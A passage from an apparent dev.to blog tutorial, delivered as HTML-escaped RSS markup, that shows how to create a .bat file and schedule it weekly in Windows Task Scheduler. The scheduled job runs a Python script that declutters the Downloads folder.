&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F93dzdzxcchlpzqbwszid.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F93dzdzxcchlpzqbwszid.png" alt="Bat image Python"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Well, our script is ready. Next up we will have to create a bat file. This file will handle what happens every week in Windows. For other OS like macOS and Linux based distros you can refer to the respective blog:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://towardsdatascience.com/how-to-easily-automate-your-python-scripts-on-mac-and-windows-459388c9cc94" rel="noopener noreferrer"&gt;Easily Automate Your Python Scripts on Mac&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://stackoverflow.com/questions/11774925/how-to-run-a-python-file-using-cron-jobs" rel="noopener noreferrer"&gt;Run Python Scripts on cron on Linux&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In this .bat file, we will instruct it to run our python file.&lt;/p&gt;

&lt;p&gt;For this, create a file with a ‘.bat’ extension and in that provide the path for your Python file.&lt;/p&gt;

&lt;p&gt;Then, in the next line, write pause to stop bat execution.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"C:\Users\casia\Documents\declutter downloads folder.py"
pause
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Fifth Step: Configure bat file to run every week [Windows only]&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Now let’s set up the bat file to run every weekend. We will use Windows Task Scheduler for scheduling our Python script.&lt;/p&gt;

&lt;p&gt;Open Task Scheduler from the start menu.&lt;/p&gt;

&lt;p&gt;It should look something like this:&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpoqnz251bzqhzsd9jwi0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpoqnz251bzqhzsd9jwi0.png" alt="look like"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Choose to create basic task.&lt;/p&gt;

&lt;p&gt;You can fill in any name and description as it suits you&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8ikzqvuip8z4j27si138.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8ikzqvuip8z4j27si138.png" alt="Basic task - automate organize downloads folder python script"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In the next step, choose the weekly option. Or any other option as per your preference.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fukwk6r418big6rdcu2x4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fukwk6r418big6rdcu2x4.png" alt="Task Trigger — Automate Python Script to organize downloads folder"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can adjust the timings as per your needs&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0bdfsd0g6gvy56jkg2m9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0bdfsd0g6gvy56jkg2m9.png" alt="Time — Automate Python Script to organize downloads folder"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On the next step, choose to start a program&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjoizmrt60llezmi7gvt9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjoizmrt60llezmi7gvt9.png" alt="Start porgram"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In my case, I have browsed to the specific path my bat file is there. This will run every week which in turn will trigger our Python script.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr6lxrzayzdfhppkbatei.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr6lxrzayzdfhppkbatei.png" alt="File Browse — Automate Python Script to organize downloads folder"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Confirm that all the details are correct and click on the finish button.&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffpfrboyjzdd2i2q6kjjo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffpfrboyjzdd2i2q6kjjo.png" alt="check details"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Final Step: Marvel at the result ✨&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It’s all done!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flsv5i38bq05yzu4z04js.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flsv5i38bq05yzu4z04js.png" alt="Script to declutter Downloads folder — easy result"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you liked this article and would like to connect and chat, here’s my Twitter📨:&lt;br&gt;
&lt;a href="https://twitter.com/mukundmadhav02" rel="noopener noreferrer"&gt;Mukund Madhav&lt;/a&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>programming</category>
      <category>productivity</category>
      <category>showdev</category>
    </item>
  </channel>
</rss>
